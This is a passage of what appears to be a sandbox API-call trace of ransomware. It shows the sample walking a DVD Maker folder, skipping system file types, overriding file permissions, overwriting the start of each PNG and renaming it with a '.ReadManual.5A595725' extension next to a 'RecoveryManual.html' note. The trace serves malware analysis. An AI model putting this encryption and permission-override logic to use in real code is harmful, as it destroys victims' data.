lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.079] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0254.080] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.080] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37474843599) returned 1 [0254.080] CloseHandle (hObject=0x1a0) returned 1 [0254.080] SetSecurityInfo () returned 0x5 [0254.080] SetSecurityInfo () returned 0x5 [0254.080] LocalFree (hMem=0x674d38) returned 0x0 [0254.080] CloseHandle (hObject=0x184) returned 1 [0254.080] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0254.080] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0254.080] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0254.080] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.080] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.080] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.080] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.080] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.081] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.081] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.081] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.081] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" [0254.081] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0254.081] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 103 [0254.081] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37474951283) returned 1 [0254.081] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png")) returned 0x20 [0254.081] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.081] GetLastError () returned 0x5 [0254.081] GetNamedSecurityInfoW () returned 0x0 [0254.081] SetNamedSecurityInfoW () returned 0x0 [0254.082] SetNamedSecurityInfoW () returned 0x0 [0254.084] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.084] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0254.084] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0254.084] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0254.085] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.085] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.087] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.087] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0254.087] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.087] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37475580243) returned 1 [0254.087] CloseHandle (hObject=0x1a0) returned 1 [0254.087] SetSecurityInfo () returned 0x5 [0254.087] SetSecurityInfo () returned 0x5 [0254.087] LocalFree (hMem=0x674d38) returned 0x0 [0254.087] CloseHandle (hObject=0x184) returned 1 [0254.087] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f33c564, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f33c564, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0254.087] lstrcpyW (in: lpString1=0x6ab906, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0254.087] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.087] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.088] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.088] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.088] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.088] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.088] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.088] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.088] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" [0254.088] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0254.088] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 109 [0254.088] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37475677277) returned 1 [0254.088] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png")) returned 0x20 [0254.088] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.088] GetLastError () returned 0x5 [0254.088] GetNamedSecurityInfoW () returned 0x0 [0254.089] SetNamedSecurityInfoW () returned 0x0 [0254.089] SetNamedSecurityInfoW () returned 0x0 [0254.090] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.090] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0254.090] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0254.090] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xea) returned 1 [0254.090] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.090] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.092] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.092] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0254.092] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.092] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37476093865) returned 1 [0254.092] CloseHandle (hObject=0x1a0) returned 1 [0254.092] SetSecurityInfo () returned 0x5 [0254.092] SetSecurityInfo () returned 0x5 [0254.092] LocalFree (hMem=0x674d38) returned 0x0 [0254.092] CloseHandle (hObject=0x184) returned 1 [0254.093] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2f02aa, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2f02aa, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5e02, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="push.png", cAlternateFileName="")) returned 1 [0254.093] lstrcpyW (in: lpString1=0x6ab906, lpString2="push.png" | out: lpString1="push.png") returned="push.png" [0254.093] lstrcmpiW (lpString1="push.png", lpString2="RecoveryManual.html") returned -1 [0254.093] StrStrIW (lpFirst="push.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.093] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.093] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.093] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.093] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.093] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.093] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.093] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" [0254.093] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.ReadManual.5A595725" [0254.093] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png.ReadManual.5A595725") returned 81 [0254.093] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37476193842) returned 1 [0254.093] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png")) returned 0x20 [0254.093] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.094] GetLastError () returned 0x5 [0254.094] GetNamedSecurityInfoW () returned 0x0 [0254.094] SetNamedSecurityInfoW () returned 0x0 [0254.094] SetNamedSecurityInfoW () returned 0x0 [0254.095] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.095] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=24066) returned 1 [0254.095] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5e02, lpName=0x0) returned 0x1a0 [0254.095] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb2) returned 1 [0254.095] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.095] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.097] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.097] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5e02) returned 0x2f0000 [0254.097] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.097] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37476615345) returned 1 [0254.097] CloseHandle (hObject=0x1a0) returned 1 [0254.097] SetSecurityInfo () returned 0x5 [0254.098] SetSecurityInfo () returned 0x5 [0254.098] LocalFree (hMem=0x674d38) returned 0x0 [0254.098] CloseHandle (hObject=0x184) returned 1 [0254.098] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3ae97b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3ae97b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1 [0254.098] lstrcpyW (in: lpString1=0x6ab906, lpString2="pushplaysubpicture.png" | out: lpString1="pushplaysubpicture.png") returned="pushplaysubpicture.png" [0254.098] lstrcmpiW (lpString1="pushplaysubpicture.png", lpString2="RecoveryManual.html") returned -1 [0254.098] StrStrIW (lpFirst="pushplaysubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.098] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.098] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.098] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.098] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.098] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.098] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.098] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" [0254.098] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.ReadManual.5A595725" [0254.099] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png.ReadManual.5A595725") returned 95 [0254.099] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37476731137) returned 1 [0254.099] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png")) returned 0x20 [0254.099] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.099] GetLastError () returned 0x5 [0254.099] GetNamedSecurityInfoW () returned 0x0 [0254.099] SetNamedSecurityInfoW () returned 0x0 [0254.099] SetNamedSecurityInfoW () returned 0x0 [0254.100] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0254.100] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2962) returned 1 [0254.100] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb92, lpName=0x0) returned 0x1a0 [0254.100] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0254.101] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.101] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0254.102] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0254.102] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb92) returned 0x2f0000 [0254.103] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0254.103] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37477143912) returned 1 [0254.103] CloseHandle (hObject=0x1a0) returned 1 [0254.103] SetSecurityInfo () returned 0x5 [0254.103] SetSecurityInfo () returned 0x5 [0254.103] LocalFree (hMem=0x674d38) returned 0x0 [0254.103] CloseHandle (hObject=0x184) returned 1 [0254.103] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f38881e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f38881e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee4ccd1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="push_item.png", cAlternateFileName="")) returned 1 [0254.103] lstrcpyW (in: lpString1=0x6ab906, lpString2="push_item.png" | out: lpString1="push_item.png") returned="push_item.png" [0254.103] lstrcmpiW (lpString1="push_item.png", lpString2="RecoveryManual.html") returned -1 [0254.103] StrStrIW (lpFirst="push_item.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0254.103] StrCmpIW (psz1="png", psz2="exe") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="dll") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="sys") returned -1 [0254.103] StrCmpIW (psz1="png", psz2="msi") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="mui") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="inf") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="cat") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="bat") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0254.103] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0254.103] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0254.103] StrCmpIW (psz1="png", psz2="fon") returned 1 [0254.103] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0254.104] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" [0254.104] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.ReadManual.5A595725" [0254.104] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png.ReadManual.5A595725") returned 86 [0254.104] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37477239262) returned 1 [0254.104] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png")) returned 0x20 [0254.104] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, 